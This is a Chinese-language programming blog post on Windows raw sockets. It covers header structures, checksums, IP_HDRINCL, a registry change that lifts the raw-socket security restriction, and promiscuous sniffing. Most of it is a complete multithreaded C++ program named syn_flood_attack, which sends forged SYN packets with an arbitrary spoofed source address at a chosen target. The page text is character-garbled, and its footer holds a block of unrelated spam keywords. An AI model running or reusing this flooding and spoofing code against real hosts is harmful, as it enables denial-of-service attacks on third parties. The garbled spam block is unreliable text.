• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            posts - 25,  comments - 36,  trackbacks - 0

            Microsoft TCP/IP 組件包含“核心協(xié)議”、“服務(wù)”及兩者之間的“接口”。傳輸驅(qū)動程序接口 (TDI) 與網(wǎng)絡(luò)設(shè)備接口規(guī)范 (NDIS) 是公用的。 此外,還有許多用戶模型應(yīng)用程序的更高級接口。最常用的接口是 Windows Sockets、遠程過程調(diào)用 (RPC) 和 NetBIOS。

            Windows Sockets 是一個編程接口,它是在加州大學(xué)伯克利分校開發(fā)的套接字接口的基礎(chǔ)上定義的。它包括了一組擴展件,以充分利用 Microsoft Windows 消息驅(qū)動的特點。規(guī)范的 1.1 版是在 1993 年 1 月發(fā)行的,2.2.0 版在 1996 年 5 月發(fā)行。Windows 2000 支持 Winsock 2.2 版。在Winsock2中,支持多個傳輸協(xié)議的原始套接字,重疊I/O模型、服務(wù)質(zhì)量控制等。

            這 里介紹Windows Sockets的一些關(guān)于原始套接字(Raw Socket)的編程。同Winsock1相比,最明顯的就是支持了Raw Socket套接字類型,通過原始套接字,我們可以更加自如地控制Windows下的多種協(xié)議,而且能夠?qū)W(wǎng)絡(luò)底層的傳輸機制進行控制。

            1、創(chuàng)建一個原始套接字,并設(shè)置IP頭選項。

            SOCKET sock;
            sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
            或者:
            s = WSASoccket(AF_INET,SOCK_RAW,IPPROTO_IP,NULL,0,WSA_FLAG_OVERLAPPED);

            這 里,我們設(shè)置了SOCK_RAW標(biāo)志,表示我們聲明的是一個原始套接字類型。創(chuàng)建原始套接字后,IP頭就會包含在接收的數(shù)據(jù)中,如果我們設(shè)定 IP_HDRINCL 選項,那么,就需要自己來構(gòu)造IP頭。注意,如果設(shè)置IP_HDRINCL 選項,那么必須具有 administrator權(quán)限,要不就必須修改注冊表:
            HKEY_LOCAL_MacHINE/System/CurrentControlSet/Services/Afd/Parameter/
            修改鍵:DisableRawSecurity(類型為DWord),把值修改為 1。如果沒有,就添加。

            BOOL blnFlag=TRUE;
            setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&blnFlag, sizeof(blnFlag);

            對于原始套接字在接收數(shù)據(jù)報的時候,要注意這么幾點:
            1、如果接收的數(shù)據(jù)報中協(xié)議類型和定義的原始套接字匹配,那么,接收的所有數(shù)據(jù)就拷貝到套接字中。
            2、如果綁定了本地地址,那么只有接收數(shù)據(jù)IP頭中對應(yīng)的遠端地址匹配,接收的數(shù)據(jù)就拷貝到套接字中。
            3、如果定義的是外部地址,比如使用connect(),那么,只有接收數(shù)據(jù)IP頭中對應(yīng)的源地址匹配,接收的數(shù)據(jù)就拷貝到套接字中。


            2、構(gòu)造IP頭和TCP頭

            這里,提供IP頭和TCP頭的結(jié)構(gòu):

            // Standard TCP flags
            #define URG 0x20
            #define ACK 0x10
            #define PSH 0x08
            #define RST 0x04
            #define SYN 0x02
            #define FIN 0x01
            typedef struct _iphdr //定義IP首部
            {
            unsigned char h_lenver; //4位首部長度+4位IP版本號
            unsigned char tos; //8位服務(wù)類型TOS
            unsigned short total_len; //16位總長度(字節(jié))
            unsigned short ident; //16位標(biāo)識
            unsigned short frag_and_flags; //3位標(biāo)志位
            unsigned char ttl; //8位生存時間 TTL
            unsigned char proto; //8位協(xié)議 (TCP, UDP 或其他)
            unsigned short checksum; //16位IP首部校驗和
            unsigned int sourceIP; //32位源IP地址
            unsigned int destIP; //32位目的IP地址
            }IP_HEADER;

            typedef struct psd_hdr //定義TCP偽首部
            {
            unsigned long saddr; //源地址
            unsigned long daddr; //目的地址
            char mbz;
            char ptcl; //協(xié)議類型
            unsigned short tcpl; //TCP長度
            }PSD_HEADER;

            typedef struct _tcphdr //定義TCP首部
            {
            USHORT th_sport; //16位源端口
            USHORT th_dport; //16位目的端口
            unsigned int th_seq; //32位序列號
            unsigned int th_ack; //32位確認(rèn)號
            unsigned char th_lenres; //4位首部長度/6位保留字
            unsigned char th_flag; //6位標(biāo)志位
            USHORT th_win; //16位窗口大小
            USHORT th_sum; //16位校驗和
            USHORT th_urp; //16位緊急數(shù)據(jù)偏移量
            }TCP_HEADER;

            TCP偽首部并不是真正存在的,只是用于計算檢驗和。校驗和函數(shù):

            USHORT checksum(USHORT *buffer, int size)
            {
            unsigned long cksum=0;
            while (size > 1)
            {
            cksum += *buffer++;
            size -= sizeof(USHORT);
            }
            if (size)
            {
            cksum += *(UCHAR*)buffer;
            }
            cksum = (cksum >> 16) + (cksum & 0xffff);
            cksum += (cksum >>16);
            return (USHORT)(~cksum);
            }

            當(dāng)需要自己填充IP頭部和TCP頭部的時候,就同時需要自己計算他們的檢驗和。
            3、發(fā)送原始套接字?jǐn)?shù)據(jù)報

            填充這些頭部稍微麻煩點,發(fā)送就相對簡單多了。只需要使用sendto()就OK。

            sendto(sock, (char*)&tcpHeader, sizeof(tcpHeader), 0, (sockaddr*)&addr_in,sizeof(addr_in));

            下面是一個示例程序,可以作為SYN掃描的一部分。

            發(fā)送:

            // fistippacket.cpp : 定義控制臺應(yīng)用程序的入口點。
            //

            #include 
            "stdafx.h"
            #include 
            <winsock2.h>
            #include 
            <ws2tcpip.h> 
            #include 
            <windows.h>

            //What new functionality is added to this feature in Windows XP Service Pack 2?
            //Restricted traffic over raw sockets
            //Detailed description 
            //
            //A very small number of Windows applications make use of raw IP sockets, which provide an industry-standard way for applications to create TCP/IP packets with fewer integrity and security checks by the TCP/IP stack. The Windows implementation of TCP/IP still supports receiving traffic on raw IP sockets. However, the ability to send traffic over raw sockets has been restricted in two ways:
            //
            //TCP data cannot be sent over raw sockets.
            //
            //UDP datagrams with invalid source addresses cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. 
            //
            //Why is this change important? What threats does it help mitigate? 
            //
            //This change limits the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets, which are TCP/IP packets with a forged source IP address.
            //
            //Regards,
            //
            //Nelson.
            //


            static unsigned int s_sendount =1000;
            static char s_destip[100]="";
            static int    s_destport   =0;
            static char s_srcip[100="";
            static int    s_srcport    =0;

            #define SOURCE_PORT 7234 
            #define MAX_RECEIVEBYTE 255 
            #pragma pack(push,1)
            typedef 
            struct ip_hdr //定義IP首部 

                unsigned 
            char h_verlen; //4位首部長度,4位IP版本號 
                unsigned char tos; //8位服務(wù)類型TOS 
                unsigned short total_len; //16位總長度(字節(jié)) 
                unsigned short ident; //16位標(biāo)識 
                unsigned short frag_and_flags; //3位標(biāo)志位 
                unsigned char ttl; //8位生存時間 TTL 
                unsigned char proto; //8位協(xié)議 (TCP, UDP 或其他) 
                unsigned short checksum; //16位IP首部校驗和 
                unsigned int sourceIP; //32位源IP地址 
                unsigned int destIP; //32位目的IP地址 
            }
            IPHEADER; 

            typedef 
            struct tsd_hdr //定義TCP偽首部 

                unsigned 
            long saddr; //源地址 
                unsigned long daddr; //目的地址 
                char mbz; 
                
            char ptcl; //協(xié)議類型 
                unsigned short tcpl; //TCP長度 
            }
            PSDHEADER; 

            typedef 
            struct tcp_hdr //定義TCP首部 

                USHORT th_sport; 
            //16位源端口 
                USHORT th_dport; //16位目的端口 
                unsigned int th_seq; //32位序列號 
                unsigned int th_ack; //32位確認(rèn)號 
                unsigned char th_lenres; //4位首部長度/6位保留字 
                unsigned char th_flag; //6位標(biāo)志位 
                USHORT th_win; //16位窗口大小 
                USHORT th_sum; //16位校驗和 
                USHORT th_urp; //16位緊急數(shù)據(jù)偏移量 
            }
            TCPHEADER; 

            #pragma pack(pop)

            //CheckSum:計算校驗和的子函數(shù) 
            USHORT checksum(USHORT *buffer, int size) 

                unsigned 
            long cksum=0
                
            while(size >1
                

                    cksum
            +=*buffer++
                    size 
            -=sizeof(USHORT); 
                }
             
                
            if(size ) 
                

                    cksum 
            += *(UCHAR*)buffer; 
                }
             

                cksum 
            = (cksum >> 16+ (cksum & 0xffff); 
                cksum 
            += (cksum >>16); 
                
            return (USHORT)(~cksum); 
            }
             

            void useage() 

                printf(
            "****************************************** "); 
                printf(
            "TCPPing "); 
                printf(
            "Useage: TCPPing.exe Target_ip Target_port Source_ip source_port sendcount threadnum "); 
                printf(
            "******************************************* "); 
            }
             


            int syn_flood_attack(const char* destip, int destport, const char * srcip, int srcport)
            {
                SOCKET sock; 
                SOCKADDR_IN addr_in; 
                IPHEADER ipHeader; 
                TCPHEADER tcpHeader; 
                PSDHEADER psdHeader; 

                
            char szSendBuf[60]={0}
                BOOL flag; 
                
            int rect,nTimeOver; 
                
            if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 
                
            //if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))==INVALID_SOCKET)
                
                    printf(
            "Socket Setup Error! "); 
                    
            return false
                }
             
                flag
            =true
                
            if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) 
                

                    printf(
            "setsockopt IP_HDRINCL error! "); 
                    
            return false
                }
             

                nTimeOver
            =1000
                
            if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) 
                

                    printf(
            "setsockopt SO_SNDTIMEO error! "); 
                    
            return false
                }
             
                addr_in.sin_family
            =AF_INET; 
                addr_in.sin_port
            =htons(destport);  //目標(biāo)端口
                addr_in.sin_addr.S_un.S_addr=inet_addr(destip); //目標(biāo)IP

                
            // 
                
            //填充IP首部 
                
            //
                ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 

                
            // ipHeader.tos=0; 
                ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); 
                ipHeader.ident
            =1
                ipHeader.frag_and_flags
            =0
                ipHeader.ttl
            =128
                ipHeader.proto
            =IPPROTO_TCP; 
                ipHeader.checksum
            =0
                ipHeader.sourceIP
            =inet_addr(srcip); //src ip
                ipHeader.destIP=inet_addr(destip); //dest ip

                
            //填充TCP首部 
                tcpHeader.th_dport=htons(destport);  //目標(biāo)端口
                tcpHeader.th_sport=htons(srcport); //源端口號 
                tcpHeader.th_seq=htonl(0x12345678); 
                tcpHeader.th_ack
            =0
                tcpHeader.th_lenres
            =(sizeof(tcpHeader)/4<<4|0); 
                tcpHeader.th_flag
            =2//修改這里來實現(xiàn)不同的標(biāo)志位探測,2是SYN,1是FIN,16是ACK探測 等等 
                tcpHeader.th_win=htons(512); 
                tcpHeader.th_urp
            =0
                tcpHeader.th_sum
            =0

                psdHeader.saddr
            =ipHeader.sourceIP; 
                psdHeader.daddr
            =ipHeader.destIP; 
                psdHeader.mbz
            =0
                psdHeader.ptcl
            =IPPROTO_TCP; 
                psdHeader.tcpl
            =htons(sizeof(tcpHeader)); 

                
            //計算校驗和 
                memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
                memcpy(szSendBuf
            +sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
                tcpHeader.th_sum
            =checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); 

                memcpy(szSendBuf, 
            &ipHeader, sizeof(ipHeader)); 
                memcpy(szSendBuf
            +sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 
                memset(szSendBuf
            +sizeof(ipHeader)+sizeof(tcpHeader), 04); 
                ipHeader.checksum
            =checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); 

                memcpy(szSendBuf, 
            &ipHeader, sizeof(ipHeader)); 


                
            for(DWORD i=0;i<s_sendount;i++)
                
            {
                    rect
            =sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 
                        
            0, (struct sockaddr*)&addr_in, sizeof(addr_in)); 
                    
            if (rect==SOCKET_ERROR) 
                    

                        printf(
            "send error!:%d ",WSAGetLastError()); 
                        
            return FALSE; 
                    }
             
                    
            else 
                        printf(
            "send ok! %d ",rect); 
                }


                closesocket(sock); 

                
            return 0;
            }



             DWORD WINAPI WORKER_THREAD(
                LPVOID lpThreadParameter
                )
             
            {
                 
            return syn_flood_attack(s_destip,s_destport,s_srcip,s_srcport);
             }


            int _tmain(int argc, _TCHAR* argv[])
            {
                
                
                WSADATA WSAData; 
                
                
                

                
            if (argc!= 7
                

                    useage(); 
                    
            return false
                }
             

                
            if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0
                

                    printf(
            "WSAStartup Error! "); 
                    
            return false
                }
             
                
                
            int i = atoi(argv[5]);
                memcpy(
            &s_sendount,&i,sizeof(i));
                
            int tn = atoi(argv[6]);
                strncpy(s_destip,argv[
            1],99);
                s_destport 
            =  atoi(argv[2]);
                strncpy(s_srcip,argv[
            3],99);
                s_srcport 
            =  atoi(argv[4]);
                
                HANDLE 
            *ths = new HANDLE[tn];

                
            for(i=0;i<tn;i++)
                
            {
                    ths[i]
            =CreateThread(0,0,WORKER_THREAD,NULL,0,NULL);
                }


                
            for(i=0;i<tn;i++)
                
            {
                    WaitForSingleObject(ths[i],INFINITE);
                    CloseHandle(ths[i]);
                }


                WSACleanup(); 

                
            return 0
            }


             


            4、接收數(shù)據(jù)
            和 發(fā)送原始套接字?jǐn)?shù)據(jù)相比,接收就比較麻煩了。因為在WIN我們不能用recv()來接收raw socket上的數(shù)據(jù),這是因為,所有的IP包都是先遞交給系統(tǒng)核心,然后再傳輸?shù)接脩舫绦颍?dāng)發(fā)送一個raws socket包的時候(比如syn),核心并不知道,也沒有這個數(shù)據(jù)被發(fā)送或者連接建立的記錄,因此,當(dāng)遠端主機回應(yīng)的時候,系統(tǒng)核心就把這些包都全部丟 掉,從而到不了應(yīng)用程序上。所以,就不能簡單地使用接收函數(shù)來接收這些數(shù)據(jù)報。

            要達到接收數(shù)據(jù)的目的,就必須采用嗅探,接收所有通過的數(shù)據(jù)包,然后進行篩選,留下符合我們需要的。可以再定義一個原始套接字,用來完成接收數(shù)據(jù)的任務(wù),需要設(shè)置SIO_RCVALL,表示接收所有的數(shù)據(jù)。

            SOCKET sniffersock;
            sniffsock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED);

            DWORD lpvBuffer = 1;
            DWORD lpcbBytesReturned = 0 ;
            WSAIoctl(sniffersock, SIO_RCVALL, &lpvBuffer, sizeof(lpvBuffer), NULL, 0, & lpcbBytesReturned, NULL, NULL);

            創(chuàng)建一個用于接收數(shù)據(jù)的原始套接字,我們可以用接收函數(shù)來接收數(shù)據(jù)包了。然后在使用一個過濾函數(shù)達到篩選的目的,接收我們需要的數(shù)據(jù)包。

            posted on 2013-05-29 12:36 小魚兒 閱讀(6426) 評論(0)  編輯 收藏 引用

            只有注冊用戶登錄后才能發(fā)表評論。
            網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


            <2012年5月>
            293012345
            6789101112
            13141516171819
            20212223242526
            272829303112
            3456789

            常用鏈接

            留言簿(4)

            隨筆檔案(25)

            搜索

            •  

            最新評論

            閱讀排行榜

            評論排行榜

            久久精品国产亚洲AV麻豆网站| 狠狠色丁香久久综合婷婷| 奇米影视7777久久精品人人爽| 亚洲国产精品无码久久一区二区| 国产精品久久久久国产A级| 国产免费久久精品丫丫| 久久精品免费一区二区| 999久久久免费国产精品播放| 欧美亚洲国产精品久久久久| 久久婷婷五月综合97色| 亚洲午夜福利精品久久| 精品国产VA久久久久久久冰| 色天使久久综合网天天| 久久精品这里热有精品| 欧美噜噜久久久XXX| 亚洲国产精品一区二区三区久久| 久久精品国产亚洲AV无码偷窥| 久久久久99精品成人片牛牛影视| 蜜臀av性久久久久蜜臀aⅴ| 久久青青草原精品国产不卡| 久久青青草原综合伊人| 无码久久精品国产亚洲Av影片 | 久久人人爽人人爽人人片AV东京热 | 亚洲乱亚洲乱淫久久| 久久人人爽爽爽人久久久| 亚洲欧美成人久久综合中文网| a级毛片无码兔费真人久久| 99久久国语露脸精品国产| 一本久久a久久精品vr综合| 亚洲欧洲久久久精品| 久久天天躁狠狠躁夜夜不卡 | 精品久久久久久国产三级| 久久免费视频网站| 天天久久狠狠色综合| 久久久精品一区二区三区| 久久99国产精品99久久| 99久久精品日本一区二区免费 | yy6080久久| 久久精品国产色蜜蜜麻豆| 色诱久久久久综合网ywww| 亚洲国产精品成人久久|